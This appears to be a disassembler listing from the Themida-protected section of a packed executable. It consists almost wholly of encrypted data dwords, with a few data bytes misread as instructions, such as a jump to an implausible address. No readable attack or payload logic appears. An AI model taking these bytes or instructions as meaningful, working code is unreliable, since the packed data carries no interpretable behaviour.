		dd 84A3FB84h, 11689D3Eh, 0A9E18264h, 0BE59729Ah, 3256D5B6h
		dd 325762BEh, 71AA75B1h, 0E2E1B5D1h, 713702E1h,	21BD14D1h
		dd 50E81EC9h, 537B321Eh, 3256DF58h, 0CFD42DB1h,	8B82064Fh
		dd 0B9EF428Ch, 26780434h, 0BFDD57B7h, 34427DD4h, 16ECCBD1h
		dd 5458F1C1h, 53011409h, 7CEC13E6h, 937E3D1h, 76D45269h
		dd 0CA56AEB1h, 0B5598E8Ah, 3256AB8Ah, 3256D958h, 89E474B1h
		dd 86183535h, 0EB011C16h, 3690DEC2h, 325C47D1h,	6E3C57B1h
		dd 6DF73AC0h, 1F092088h, 0CC8A03D0h, 3EBF8A4Eh,	156BAB1h
		dd 9A75FEA7h, 694D91Fh,	90A9CB9h, 0FD2A47Eh, 0CE56D5B1h
		dd 18335738h, 23BF73A5h, 8D56BAB1h, 3005C515h, 5391E4F2h
		dd 0EBBABD7Dh, 0FFEAAA9Bh, 0CDA85958h, 0DCD78A4Eh, 0FA23257h
		dd 32543DBEh, 69015DB1h, 325047D0h, 0D03057B1h,	7EA2AFB0h
		dd 325E3CD0h, 0D2BAEAB1h, 0BB126E15h, 0DB950542h, 32565DA2h
		dd 0CCFED96h, 0FC7BCA78h, 4447259Fh, 9FFBED55h,	52E75421h
		dd 32569D48h, 0B30CBAB1h, 28F54B5Bh
; ---------------------------------------------------------------------------
		mov	bh, 47h


loc_5E7EBA:				; CODE XREF: Themida_:005BFAA6j
		pop	ebx
		xor	dh, [ecx+318BB757h]
		mov	edi, 67EB5795h
		jmp	near ptr 0E5B73663h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 32566037h, 324653B1h, 0C7A25DB1h, 0E92B451Dh, 15BF0A64h
		dd 1D9C3665h, 0B659D92Bh, 3256EAB0h, 0E0ECFE49h, 0DB50A037h
		dd 32565DA3h, 0ED042A8Ch, 0EA9878CFh, 202E5954h, 48365E72h
		dd 54367AC2h, 54B8230Eh, 0EC275930h, 3356E4D0h,	3DBFAEB1h
		dd 8B5657B1h, 17F1E22Ah, 44CDE55Ch, 92A2628Fh, 52369405h
		dd 4C53E80Fh, 0E5E952DBh, 0F265CFD0h, 32565C58h, 0D0D75DB1h
		dd 0B3AAA9B3h, 41F8E619h, 35BFDE42h, 0FC56BAB1h, 18ACC5A4h
		dd 0B0DDC495h, 344CD163h, 0BB375ED1h, 28D02133h, 26DAE5B7h
		dd 525675B1h, 0EEB65930h, 35BF5965h, 7156AEB1h,	5EAE1DDBh
		dd 53371F44h, 0B8591644h, 3256EAA2h, 32567B58h,	0F68BDDB1h
		dd 0F0A5CBA4h, 74A218E9h, 5291EBC2h, 325C21BEh,	37BFD5B1h
		dd 1156EAB1h, 0ED0F18B6h, 3256BA59h, 0D8D707B1h, 344C0AA8h
		dd 3246BED1h, 64E4ABB1h, 0DC7EA03Ah, 2C9F3B3Fh,	806E26BFh
		dd 8D597274h, 0F4AE3C4Bh, 265EE734h, 5AAE01B7h,	0E649C688h
		dd 3256C558h, 13ED4FB1h, 42E52626h, 46E4BB79h, 995FA3E2h
		dd 57E35162h, 3D50439Dh, 3256AA33h, 0B7DB20B1h,	3441924Fh
		dd 0CADD13D1h, 3256B159h, 0F1B5D2B1h, 69B37D9Bh, 0E0CC0A3Dh
		dd 0CD37F149h, 24D1DA61h, 0DB56EAB1h, 325675A0h, 4EBA65E1h
		dd 0C73F317h, 54F8070Ch, 8D5A70E0h, 0B359F935h,	3256D5B0h
		dd 3DBFBA49h, 9E5675B1h, 41A5A7E7h, 43A06B8Ah, 17676E5Ah
		dd 323E54C6h, 3D56AB31h, 3256D23Fh, 33DBE5B1h, 0CA5675B1h
		dd 38BFBADBh, 3E565DB1h, 0ACDEB664h, 109709FCh,	69E4543Dh
		dd 0DB50CF32h, 3256EAB6h, 0CD86D68Ch, 0CDE312E1h, 86EF3D61h
		dd 0DB32C3C0h, 325657B7h, 9E43119Ch, 3D378E3Ah,	3256E038h
		dd 0B93015B1h, 0D43A0169h, 6A376B89h, 5AAFF444h, 3256D7B1h
		dd 325E27BEh, 0BD59D5B1h, 3256EAB3h, 323C14D1h,	3256B158h
		dd 0E23E4BB1h, 5308C33Bh, 76957274h, 0B484194Eh, 8536D3ABh
		dd 32590296h, 0DAE775B1h, 76678BC5h, 0C961510Eh, 0D0A07781h
		dd 6BBAE2C0h, 0DB8654D0h, 3256D5B6h, 36A4F340h,	0DBE8019Eh
		dd 3256BABDh, 9608BBF6h, 1A0D6FB8h, 607613F5h, 34BFCBD0h
		dd 0AA56D5B1h, 0CE5DE477h, 0CAE17A37h, 0B05979D0h, 32565DB6h
		dd 325720BEh, 67AF57B1h, 0DEDD5E4Dh, 3256C558h,	1FFB2B1h
		dd 0E3C8B121h, 0A15C2C8h, 907D6533h, 0B059CE5Ch, 325657B6h
		dd 0DFEDCDD1h, 0DA372954h, 3256EAB1h, 0E2BCF4EBh, 3D50A014h
		dd 3256453Fh, 324547B1h, 31FB57B1h, 0D9ED5C77h,	0BE627303h
		dd 6F59FD15h, 7722B95Ah, 20D5B519h, 0DB565DB1h,	3256AEBCh
		dd 60A32D9Bh, 0B6B19857h, 83FDE28Dh, 3259035Eh,	0C04D75B1h
		dd 0F6CC0D2Fh, 3ADA05E9h, 0ED8C6D62h, 3A23DC47h, 32572CBEh
		dd 0DAAAD5B1h, 3256E452h, 22BF2044h, 0BE56BAB1h, 41B8BA9Ch
		dd 40420FF5h, 45B13BB3h, 0CD307A64h, 28D53223h,	520B1FB7h
		dd 476D1448h, 0E2D3B5BDh, 0C7A9A24Eh, 32581C59h, 3246BEB1h
		dd 8F0FABB1h, 3CD6A65Bh, 7890262Ch, 68D31ADDh, 52377FE3h
		dd 7BA1DCD7h, 3D9FCF5Fh, 3256463Eh, 325A42B1h, 53A2D5B1h
		dd 9EEEA132h, 80464F2Dh, 3A94ACDCh, 325DB4B1h, 5E63AEB1h
		dd 11EBBF71h, 7C069E13h, 0B2368035h, 34BFCF51h,	1C5675B1h
		dd 84B0151Eh, 0DEDD3C8Bh, 32572EBEh, 0B1AF57B1h, 3EBF5775h
		dd 1B56D5B1h, 0B98F5506h, 0CE7AAC27h, 641D47E0h, 61AE0A44h
		dd 32564648h, 0B30C57B1h, 28F0495Bh, 325F3CB7h,	4090EAB1h
		dd 57B8745Dh, 0DBC74736h, 32565DA0h, 9C4668B3h,	49D2D35Eh
		dd 0ADF23FA8h, 0DBA64D4Ah, 3A2361CDh, 3245F7BEh, 0B959BAB1h
		dd 32565DBCh, 3256A658h, 0E73333B1h, 0CADC4636h, 37D6DA9Dh
		dd 5256EAB1h, 5344A131h, 5246C73Ah, 52013C44h, 3256A359h
		dd 0A082E1B1h, 0FD5FD167h, 0AA573BD4h, 34BFB5F7h, 0C25675B1h
		dd 66AA3B79h, 64370437h, 2AD0A148h, 0DB5657B1h,	3256ABA2h
		dd 3C87184h, 530C68Ah, 1F5A4894h, 38031BD6h, 0DA1B8D90h
		dd 3256AFDEh, 32564658h, 67625EB1h, 3BD76A9Eh, 0B73DD815h
		dd 6D1E12FFh, 0F25D3937h, 32E0D9BEh, 0BA59AEB1h, 325657A1h
		dd 3256A058h, 0C54EFFB1h, 268F047Ch, 3A024B9Bh,	34BF423Ah
		dd 0F5565DB1h, 0D589FFFFh, 0B45902C1h, 3256ABB9h, 325455BEh
		dd 5336EAB1h, 0B1B1E74Eh, 0BC59BCABh, 32565DB0h, 0B159F34Dh
		dd 325657B0h, 3E239048h, 323051BEh, 0B059EAB1h,	325675A2h
		dd 3256B458h, 0A5927AB1h, 2E170DCDh, 74203Fh, 54E34F98h
		dd 0B459CB3Ah, 3256EAB9h, 3254FBBEh, 5336BAB1h,	3DA6BA31h
		dd 3256AF3Dh, 2CDCAEB1h, 3ADFA448h, 3D56D5B1h, 3256E83Dh
		dd 0B23715B1h, 3DAA4A52h, 3256563Eh, 0B559CEB1h, 325657B1h
		dd 538520D7h, 32707759h, 0D5BF16B1h, 0CBA98A4Fh, 52AAC738h
		dd 0CEAED6D7h, 325947D0h, 0EC1257B1h, 9234D7F9h, 0B2260EA3h
		dd 0CB6293D4h, 0C4FD9DC7h, 0BC59454Eh, 32565DA1h, 3256A558h
		dd 39BDA5B1h, 7BE511EAh, 3D5C769Eh, 325303EAh, 654875B1h
		dd 6D6A9DB0h, 35D75244h, 3D56AEB1h, 3256563Ch, 0C7085EB1h
		dd 52AA903Ah, 3256E258h, 0A34493B1h, 927DFCEDh,	325AB4F4h
		dd 1AB1AEB1h, 15D267A1h, 0E8E8E0F8h, 0FB3795BDh, 325765BEh
		dd 0F0AF75B1h, 0DB36BABDh, 32565DBDh, 18B4B770h, 0F34E13CDh
		dd 7712AC65h, 325650BEh, 6737EAB1h, 0F3E615D1h,	0FC9B6530h
		dd 0DB37550Fh, 3256AEBFh, 47099A5Fh, 14AA0065h,	0F09DB3C9h
		dd 0B9370471h, 8401155Dh, 3CBFE3E4h, 85565DB1h,	36E4DF4Eh
		dd 0E009ADEh, 91529DD8h, 0F6D5B478h, 3D011349h,	32567432h
		dd 0DB004FB1h, 32565DB9h, 34E034C8h, 0D249C87h,	0C70552E0h
		dd 32AE9076h, 5256EAB1h, 3D94FED1h, 3256BA32h, 0C2D73CB1h
		dd 1B2C9092h, 35D490D0h, 3350B137h, 0DB56D5B1h,	3256EAB4h
		dd 3693335Fh, 3A233159h, 2CDD3B44h, 3251474Dh, 0F9BD57B1h
		dd 0B382D020h, 69EC5EE1h, 0DB50F032h, 325675B4h, 92CE314Ah
		dd 6DDDA1D9h, 0E95D57B9h, 32D7D3BEh, 0BD59ABB1h, 3256D5BAh
		dd 0F1DD8CD1h, 61ED8330h, 937F68Ah, 0DD3526Fh, 0C756AEB1h
		dd 3D5A0A3Ah, 3256BC34h, 23DBDAB1h, 0DB56EAB1h,	325675BDh
		dd 0A617D1EFh, 28EA251Dh, 0C8C6475Dh, 3D5A0838h, 3256AA3Ch
		dd 0BB5929B1h, 3256EABFh, 32DB7AD1h, 0B356BAB1h, 2143677h
		dd 0F5D5CFF3h, 33DA58A5h, 0CA56ABB1h, 0CDA95858h, 0BA598A4Eh
		dd 325675B7h, 325638BEh, 0F9D75DB1h, 696C7E11h,	0C3DD37D0h
		dd 5437593Ah, 3DBFCB3Ah, 3356EAB1h, 0BF5B23EDh,	93A5B1D2h
		dd 2FB8D498h, 0B2AAD1AAh, 0B659BF4Ah, 3256A849h, 0C9D6B4D1h
		dd 0DFD2E558h, 525675B2h, 0ED146D30h, 0B4596B6Bh, 3256AEB3h
		dd 0B2372C05h, 0B659404Ah, 3256D665h, 3256E358h, 0F1B43DB1h
		dd 0AF79596Ah, 3EBF2D12h, 0BC56AEB1h, 438D4E09h, 0AA1BA3E7h
		dd 0B27F0D33h, 0B659084Ah, 32567637h, 0D1AD3A48h, 311AD9BEh
		dd 0BC59AEB1h, 325657B9h, 32542DBEh, 5336D5B1h,	55AD6BD7h
		dd 51D27A52h, 0CB56BAB2h, 3DA6BA31h, 3256B634h,	3245BEB1h
		dd 4DF9ABB1h, 0F4C8A6D9h, 0E14D1B15h, 9B76F4F5h, 0E6BFE25Ah
		dd 0C9D73B1Eh, 0B6592EBEh, 325654EDh, 32472FBEh, 3EBFD5B1h
		dd 2856EAB1h, 38A89794h, 0D49FB3ADh, 0B2545C09h, 0B2AF5E52h
		dd 0B659274Ah, 3256A889h, 3256C658h, 8C5084B1h,	0A28512DEh
		dd 0F36EE295h, 6659E5C5h, 6286009Ah, 2CDD314Dh,	0C0E414D1h
		dd 3D36CD82h, 3256EA3Eh
		dd 0B23714B1h, 21BF4252h, 86565DB1h, 0C03C9576h, 0A71D0906h
		dd 7A025515h, 0B7EE0FB3h, 0C9D6940Ch, 0A8D27A09h, 3D56BAB0h
		dd 32565539h, 30D2A1B1h, 525657B1h, 37682BD0h, 33D551BEh
		dd 26BFEAB1h, 5675B1h, 0F11E7105h, 4939DF08h, 326B7FABh
		dd 0F1E1DA28h, 0B2D3A66Fh, 0B659F88Fh, 3256EBD0h, 32566458h
		dd 906ED9B1h, 398CDADDh, 0E55F7C79h, 5A3C7EA1h,	0CD60205h
		dd 70D2DAD9h, 0DB56EAB0h, 325675B9h, 0EC00A5B1h, 468CCB5Bh
		dd 0B4512C4Eh, 0B15951ABh, 3256ABBDh, 32505DBEh, 0B459EAB1h
		dd 325675B1h, 3256B058h, 0CE620BB1h, 902D39A8h,	543D466Ch
		dd 8436B53Ah, 589155A8h, 38DAE5D0h, 0DB5675B1h,	3256BAB4h
		dd 10D76BBDh, 0CAB12E7Dh, 3251DBBEh, 0BA59ABB1h, 3256D5B0h
		dd 0C9D78C48h, 0B6599D30h, 3256BA68h, 33D25244h, 0CA56AEB1h
		dd 0CA48DCD7h, 3DA64C31h, 3256C83Ch, 25D4E5B1h,	0DB5675B1h
		dd 3256BAA3h, 0B446F3DAh, 0AAA6B1Fh, 46F1F5A4h,	6526C307h
		dd 0B3302AC2h, 3D966B4Ah, 3256E935h, 3CD6B5B1h,	52565DB1h
		dd 325627BEh, 0B75957B1h, 3256ABB1h, 67AFB5D0h,	3256E258h
		dd 86E311B1h, 47FA0515h, 0D5C4A292h, 0CB50B432h, 0B859ABECh
		dd 3256ABA9h, 3256C658h, 0A58C21B1h, 4EF8AAB3h,	1D732359h
		dd 0C73FA0FEh, 2382E5BEh, 3DAA1238h, 3256BA3Fh,	35BEB5B1h
		dd 0C156EAB1h, 0D0FE125Fh, 8408CCD2h, 3D373C4Ch, 3256BF3Dh
		dd 325ABEB1h, 4203ABB1h, 0BA4598Bh, 8FE0533h, 4FD53A25h
		dd 0B759BB4Dh, 32565F83h, 325A47D1h, 671257B1h,	127EFC0Eh
		dd 0E83E0527h, 0C8DD6027h, 0E7ECFED0h, 5250AEB5h, 54ACD6D7h
		dd 280C7F30h, 39BF07D0h, 0A456ABB1h, 0E6FDF95Fh, 0F2B77B80h
		dd 0B0DDAEA6h, 344C3CB6h, 54043D49h, 69ACB908h,	538DE0BEh
		dd 3D669788h, 3256CC3Bh, 324203B1h, 361D75B1h, 3E249C17h
		dd 5BDE64A9h, 62DAAE1Bh, 0D11CA02Eh, 3D0EE77Dh,	32571433h
		dd 325C03B1h, 169575B1h, 0C22159Ch, 9C134Fh, 20C7143Ah
		dd 0B95951A5h, 3256ABBDh, 0C3A96AD1h, 0B3309872h, 53F06A7Eh
		dd 3256A958h, 0A9085AB1h, 17C92025h, 0A0A49064h, 283CD8C5h
		dd 0BB7E137Bh, 3AD3E5E1h, 525675B1h, 88300B03h,	0B937F12Bh
		dd 28D0A933h, 0E6FABB7h, 32534281h, 0F099D5B1h,	0DB8D9A2Dh
		dd 325675BDh, 811C9D5Eh, 0D98CBA68h, 85A32F42h,	75D958E9h
		dd 0DB56ABB0h, 3256D5A1h, 6473BCB5h, 1202A395h,	4995F8B3h
		dd 2231BBBFh, 3256F158h, 855937B1h, 5DECCD4Fh, 7791B40Ch
		dd 3256E849h, 32469CB1h, 47A2BAB1h, 0F6E8F06Ah,	0DCB7598Dh
		dd 0A348B5B4h, 7BF01E1h, 3D56D5B1h, 3256E237h, 8A3015B1h
		dd 5336AA5Ch, 7791A5D0h, 3256AF49h, 0BE5937B1h,	3256ABBCh
		dd 3256D259h, 0DDB6B7B1h, 2BC50357h, 0F3E9B5E8h, 33D352D0h
		dd 0CA56AEB1h, 0B10DED3Ah, 5436ADABh, 54033509h, 0CA372B3Ah
		dd 39AA6A3Ah, 81D2B56Ah, 52565DB1h, 0E6DC3207h,	3D886CD0h
		dd 3256FD34h, 6FDD2DB1h, 325303BDh, 502B75B1h, 0B126B966h
		dd 3D56A5CCh, 32568935h, 6F55AFB1h, 0BC595349h,	3256D5ADh
		dd 32406BBEh, 23BF75B1h, 7356BAB1h, 66D4A196h, 4691498Dh
		dd 0ECB5AB27h, 8FEAFA9Ch, 3D528A38h, 3256E43Ch,	0E5D715B1h
		dd 745FA50h, 3256D4BEh,	0B137AEB1h, 0DBA34376h,	0CDA95439h
		dd 3256D958h, 5984C8B1h, 506ED654h, 82DA5A75h, 3D966E43h
		dd 3256BD3Ah, 3258BEB1h, 5932ABB1h, 79B71FF6h, 0C89BA1A7h
		dd 0CDE19CBCh, 32524958h, 33D752B1h, 0CE56AEB1h, 325EDABEh
		dd 0B659ABB1h, 3256D5B3h, 0B9308BD1h, 33D47AAFh, 0CA56BAB1h
		dd 3D5A203Ah, 3256B631h, 3245BEB1h, 7083ABB1h, 774B1DBDh
		dd 7A508A96h, 0DE2DBC05h, 50A8AE9h, 0D9ADDD7Ah,	32092ABEh
		dd 0BB5957B1h, 3256ABBBh, 0E1D7B3D1h, 0B930A2C9h, 0D1D61442h
		dd 33D7B541h, 0CE565DB1h, 3D265531h, 3256FF35h,	324442B1h
		dd 9FB9D5B1h, 328AEBFBh, 9D3E5E7Fh, 32AE04C8h, 6DF2097Bh
		dd 0C5DDC8D1h, 43BF3644h, 0DB56ABB0h, 3256D5A5h, 0B9D49781h
		dd 6F87CF50h, 0A892F67Ch, 487432A2h, 7534A30Ch,	0DB51914Dh
		dd 325E25BEh, 0BA59D5B1h, 3256EAB3h, 759114D1h,	3256BAB0h
		dd 3259B4B1h, 635EAEB1h, 0EF9E1BC0h, 2DDD7B3Eh,	0AF358ABAh
		dd 5291617Eh, 8E3BD60Ah, 0BA59DBF7h, 32565DB4h,	0E2DDC8D1h
		dd 3796D4D0h, 33DCA448h, 0CB56D5B1h, 32551158h,	24D07AB1h
		dd 0DB56BAB1h, 32565DA0h, 0B6E31A95h, 22E68DBBh, 0E8234659h
		dd 0BC0E7FA0h, 35918C2Ah, 0DB367DBEh, 3256BABDh, 514718FEh
		dd 4C0F641Eh, 0B8606050h, 0E0D7CDD1h, 5337FC72h, 0DB36F43Bh
		dd 325675BDh, 93A05CDEh, 18C7E5E7h, 0CDAFB1B8h,	32565F59h
		dd 0F1D6B5B1h, 95C4C200h, 690E5E15h, 3DB5F5D0h,	32513EBEh
		dd 52365DB1h, 2F8E2ED0h, 33D858D0h, 0CB56ABB1h,	0CBD61E31h
		dd 0DB57B539h, 325675B9h, 5C8CEAD0h, 0EE7FC78Bh, 3254E976h
		dd 525657B1h, 325325BEh, 0B330D5B1h, 0DB37EC72h, 325675BEh
		dd 79B981DBh, 0CB165845h, 0D02D795Bh, 53BF61F5h, 0BE596C3Ah
		dd 3256D5A9h, 3256F958h, 0F5523FB1h, 5B99E77Ah,	0D337FFE6h
		dd 9BA2E181h, 3EDD6806h, 0DB506B32h, 3256D5A2h,	0C8EA328Eh
		dd 0C997DCF7h, 91B788DBh, 97D07465h, 0DBCB5CB9h, 325654B9h
		dd 325C42D1h, 0E173D5B1h, 6151539Fh, 7D685252h,	539E31D7h
		dd 0A268DCD7h, 64D2A121h, 0CA5657B1h, 3DC69531h, 3256B734h
		dd 325E03B1h, 5B9D75B1h, 5421E8Ah, 20BF82C2h, 0D56AEB1h
		dd 4C3183D0h, 9A118256h, 52C57A73h, 83EA4F43h, 4CD713EBh
		dd 3DC62A4Eh, 32564135h, 1EBF57B1h, 0DB5657B1h,	3256ABA0h
		dd 971F2C80h, 41F15D30h, 1F50DA7Eh, 0ED457038h,	0CA91D6F8h
		dd 32542558h, 35D858B1h, 3D56ABB1h, 3256D43Ah, 0BFAA16B1h
		dd 28D16333h, 23D6B5B7h, 0DB565DB1h, 3256AEBDh,	9A4001F6h
		dd 0DEA9177Ah, 0DC21AF2Dh, 3DBE8AE1h, 5D5675B1h, 869D9A22h
		dd 2E19B5D3h, 0AB73F5ADh, 35BE0249h, 4956ABB1h,	356BFB3Eh
		dd 6A0D4326h, 680E22E2h, 0BF59ECD0h, 32565DB6h,	32572DBEh
		dd 0CDA357B1h, 28D2AF23h, 0F25D2DB7h, 32606EBEh, 543675B1h
		dd 0D8E7783Ah, 0CE9ED6D0h, 0B5401C3Ch, 0DBAA51ABh, 3256ABBCh
		dd 0A0F23C79h, 5635F237h, 0CF8A3994h, 32C15319h, 0B3595DB1h
		dd 3256AEB9h, 3254D5BEh, 5336ABB1h, 33DADAE7h, 0C756EAB1h
		dd 0BD59BB3Ah, 3256BAB0h, 0CDAF0848h, 28D54923h, 5436A2B7h
		dd 6F37503Ah, 53A75ED1h, 325102D1h, 0D84675B1h,	0B72EA179h
		dd 0B25906CCh, 3256AEB3h, 193736D1h, 3CBFCB7Fh,	8E56D5B1h
		dd 0DB530524h, 593697CEh, 0A20F6E62h, 8B8EDC3Bh, 5331C534h
		dd 0BA598E46h, 3256ABBFh, 32D7DAD1h, 3D56EAB1h,	32567537h
		dd 3D08DBB1h, 32564933h, 3FBFCEB1h, 0D45657B1h,	0E0E57E78h
		dd 0F6C22C83h, 10F16A13h, 0CA2BF6D0h, 80D3B5B0h, 0DB565DB1h
		dd 3256AEB7h, 0F199E088h, 7BE60F47h, 32583CD1h,	44A7EAB1h
		dd 0E73F6835h, 0BED9F3E2h, 49335700h, 32542FBEh, 80E357B1h
		dd 0B33601D0h, 65654647h, 54371298h, 0DBD37A09h, 3256BAA5h
		dd 5A703102h, 3ED5BA71h, 184F6E8Ah, 0E082DD70h,	0F43C00Ch
		dd 0C7FD8C48h, 3310C3BEh, 325E34BEh, 65365DB1h,	90EFC8EAh
		dd 0DBFD369Eh, 3256ABBFh, 5C94B414h, 9BA81943h,	69FC6718h
		dd 8DBFEE4Ah, 52565DB1h, 325347D1h, 39E57B1h, 0DA310B8Ch
		dd 3256D5A3h, 0D002622Fh
		dd 13236F26h, 48E547F8h, 1D5B6575h, 530FEE56h, 2E56A0Eh
		dd 0BA59CACBh, 3256D5B0h, 0CA2B6948h, 5ED37AB3h, 0CB56BAB1h
		dd 0FB5DE5D7h, 0DBFDC848h, 325657BCh, 49EE7BB7h, 0A7FC399Ch
		dd 3E5B05DCh, 3DEE132Ch, 99304F35h, 325BD3BEh, 8A36AEB1h
		dd 495DB2DBh, 489F4A30h, 3D37DCA6h, 5257AC07h, 0BD51B30Fh
		dd 3DFDDBD4h, 32565635h, 325047B1h, 9B7F57B1h, 6ED93223h
		dd 3256F858h, 324703B1h, 1EF775B1h, 22558D15h, 5D87E1F4h
		dd 2B6D6E1h, 0C1C0F185h, 32594215h, 574D5B1h, 68ACC2F0h
		dd 819D8860h, 8ADB3AB9h, 0F5DDA43Fh, 32D9A1D1h,	3D5657B1h
		dd 3256A938h, 530C82B1h, 3D0F1FEAh, 3256733Ch, 0B930DAB1h
		dd 0DB37A46Bh, 3256AEA1h, 30D8D65Bh, 7A65EAC1h,	0F10EA08Ah
		dd 0FD261A38h, 0B33015EFh, 0DAF94C71h, 32565DBBh, 699B3CC4h
		dd 6B92F665h, 39BF0811h, 5D56D5B1h, 7A7FA4DEh, 83451170h
		dd 530CDAF6h, 3ED252EEh, 3D56AEB1h, 32565132h, 32D7A4B1h
		dd 0FB56D5B1h, 0E1E9E5D1h, 32567E59h, 6A9449B1h, 4110A907h
		dd 0DD25690Dh, 3A9436EFh, 33DFA4B1h, 0C756D5B1h, 54068AE4h
		dd 6D3D7C0Bh, 3D37493Ah, 32565C3Ch, 0DEDD56B1h,	32564558h
		dd 9B2F7BB1h, 0A1874DF3h, 0A978EF13h, 0D5F77CF5h, 52CE0AE3h
		dd 3257DCBEh, 3DAEAEB1h, 32565D33h, 0B930CBB1h,	0E0D7B34Ah
		dd 0DA374210h, 325675B1h, 86BC3BEBh, 0CE504705h, 32512FBEh
		dd 653657B1h, 0CBE9A4E9h, 77DD29D0h, 0CEC8AB9h,	3D22189Dh
		dd 3256B83Eh, 53373DB1h, 0B1E12C38h, 0DBA351ABh, 3256ABB7h
		dd 8F1C84C2h, 3D376BECh, 32567C36h, 0D9E0DAB1h,	0D7B7DCD7h
		dd 5336CF07h, 3AD95878h, 3D56ABB1h, 3256D73Bh, 0F0378AB1h
		dd 67AE75B5h, 28BF3BD1h, 653AB9B5h, 6B8D19BEh, 7BE537D0h
		dd 557813D7h, 52BA5ED0h, 53896149h, 0DBAEB132h,	3256BAB4h
		dd 1B214624h, 0DAAECE06h, 325657B1h, 76BC2AEBh,	0DB50CF04h
		dd 3256EAA0h, 0C95B59C9h, 739D81A7h, 5C0B65C5h,	8C75574Ah
		dd 0B0593753h, 3256ABB3h, 23BEAC05h, 7856EAB1h,	4ABCD5BBh
		dd 717D6DEBh, 926DA84Ch, 8D262E44h, 6987E0BEh, 28D9A4D0h
		dd 3D56D5B1h, 3256FE36h, 32599CB1h, 9704BAB1h, 325A47EDh
		dd 469BDB2Fh, 5C0A6EB5h, 32464295h, 5839D5B1h, 0B2357E8Fh
		dd 62C8802Fh, 7FF75540h, 77915E06h, 3256AE49h, 7791AEB1h
		dd 3256AB4Dh, 0B330B5B1h, 52F46678h, 8D302CE7h,	53373A4Fh
		dd 0CA966E48h, 0CB4825D7h, 0B451D576h, 3257ADABh, 0BC59D5B1h
		dd 3256EAAFh, 0DA3715D1h, 3256BAA5h, 0F23A6827h, 90751359h
		dd 0B6180784h, 8D4FFF04h, 7B3EA07Ah, 0B3308BEBh, 3DC6E54Ah
		dd 3256B534h, 3BDF52B1h, 5256AEB1h, 310CEED7h, 53A914BEh
		dd 3DBE2E31h, 3253A935h, 32469CB1h, 992BAB1h, 58597380h
		dd 0A666AEEFh, 542084BCh, 0DB16BB98h, 3256D5BDh, 28931E3Ah
		dd 365EB2CAh, 9EC14E3Ch, 0DBADDD48h, 37442ABEh,	0B33657B1h
		dd 0EB029652h, 0BC9055F3h, 3CBFAAD0h, 75675B1h,	66E75424h
		dd 0D03798D4h, 549E4193h, 0D9ADD7EAh, 36BC2FBEh, 3CBFD5B1h
		dd 0BA56EAB1h, 219D9E8h, 9ABBB7Ch, 0DFCE3359h, 0BC59EE54h
		dd 325657B6h, 325729BEh, 0B2AAD5B1h, 54361A56h,	3D1ED009h
		dd 3256AA3Dh, 325CB5B1h, 0C9A8AEB1h, 65AB9258h,	0FDC16627h
		dd 0B330B4EEh, 3DD6E54Ah, 3252EA35h, 33DCB5B1h,	0C7565DB1h
		dd 2B8F2CB2h, 72AE51A5h, 0D0AD2B4Dh, 363451BEh,	0B836EAB1h
		dd 0BFB8F552h, 325D53D0h, 7F85DB1h, 0E3222C5h, 935320A6h
		dd 0D1AD2BBAh, 364451BEh, 0DA36EAB1h, 325675A0h, 0A0E1BCD8h
		dd 9BA7FFB6h, 55EE323Bh, 0B999D8B3h, 32D6A44Dh,	6956D5B1h
		dd 0C9D78CD0h, 0B65996D6h, 3256BEA9h, 0C2B5DD4Dh, 32522DBEh
		dd 523657B1h, 0C9D6CAD0h, 17D2DAC1h, 3D56EAB5h,	32567F3Eh
		dd 0ACE9DAB1h, 546EFB7Bh, 5437663Ah, 0B2AE493Ah, 3D365352h
		dd 3256D735h, 0DB9761B1h, 325675A2h, 7B098BCBh,	8D1719A2h
		dd 963C93D2h, 37A79154h, 535C93CAh, 8AAD554Dh, 30746EBEh
		dd 0B05975B1h, 3256BAAAh, 3243D0BEh, 22BFAEB1h,	515657B1h
		dd 67796098h, 0EC2D59h,	0F83258A0h, 3D2EF6D1h, 3256AD35h
		dd 3244B4B1h, 9E11AEB1h, 0E9A9D6ACh, 7939391Eh,	0D0461FC5h
		dd 9D173E0Ah, 3D534B31h, 32576135h, 3244B4B1h, 0F2A4AEB1h
		dd 0DEA1B60Fh, 5F37DDE5h, 0C6FD3B2h, 0A9C61AD8h, 3D7B4B31h
		dd 32570135h, 33D352B1h, 0CB56AEB1h, 3D3E6931h,	32570035h
		dd 32463CB1h, 242DEAB1h, 31418D0Ah, 0FF1FEB81h,	0D151D4B1h
		dd 0B936D90Ah, 3250BE4Bh, 177DABB1h, 0BC15F318h, 20BFAAD0h
		dd 185675B1h, 63BD8A2Ch, 0E1E140C3h, 6F686B51h,	599817B5h
		dd 35D454A0h, 0DB50CF37h, 3256EAB8h, 4CC4190Eh,	29C26CD5h
		dd 2FDF52E5h, 5256AEB1h, 32564758h, 4BD18AB1h, 0C2DC697h
		dd 0ACD06A0Ah, 96EDE7D2h, 0B1843B25h, 532A4208h, 0DB4825D7h
		dd 325657A0h, 6282D7ABh, 0D917AD26h, 0F133C841h, 0F32C2BB5h
		dd 0CAB13A17h, 34DD52D1h, 3D56AEB1h, 3256573Ah,	0B330FBB1h
		dd 6A317456h, 0C9D78CD0h, 0B6599D30h, 3256BA4Dh, 324ED5BEh
		dd 21BFAEB1h, 0A75657B1h, 6998DBB8h, 7C58E6EEh,	0F711166Bh
		dd 0B0A9073Ah, 0B93074B4h, 325CB4AFh, 0BD6CAEB1h, 3C0F6D46h
		dd 0F5B51825h, 0C2B15548h, 3256E158h, 0A13A9BB1h, 80F7801Eh
		dd 176EF1E5h, 0B3AD2FD7h, 9FD25871h, 3D56ABB1h,	3256D13Dh
		dd 72E38AB1h, 21BF15D0h, 0FF56BAB1h, 7B13EA4Eh,	0ABB07608h
		dd 3EEF720Ah, 9A465B58h, 0BC59E2C4h, 3256EAA4h,	32566558h
		dd 930C10B1h, 0A8F1F563h, 66EFB3A5h, 0B2EB489Ch, 0C7AFFED9h
		dd 0B1B1474Eh, 0BC59ECABh, 325675BBh, 0CADDDCD1h, 4579240Eh
		dd 0DB0BCF9Ch, 325657BAh, 563E91F5h, 2EEECEB9h,	0BB86BDA6h
		dd 53A389F4h, 3256AE58h, 3ED26AB1h, 0C1C3167Bh,	0AB89B4BAh
		dd 5B5BD1A3h, 57245C54h, 0CE2B69A2h, 22D37AB0h,	5256BAB7h
		dd 32564C58h, 7F2FC2B1h, 0B422604Eh, 0D1A455ABh, 2A09AF05h
		dd 0B33049A3h, 537DB77Ah, 3683003Ah, 39BF5BA5h,	0E956AEB1h
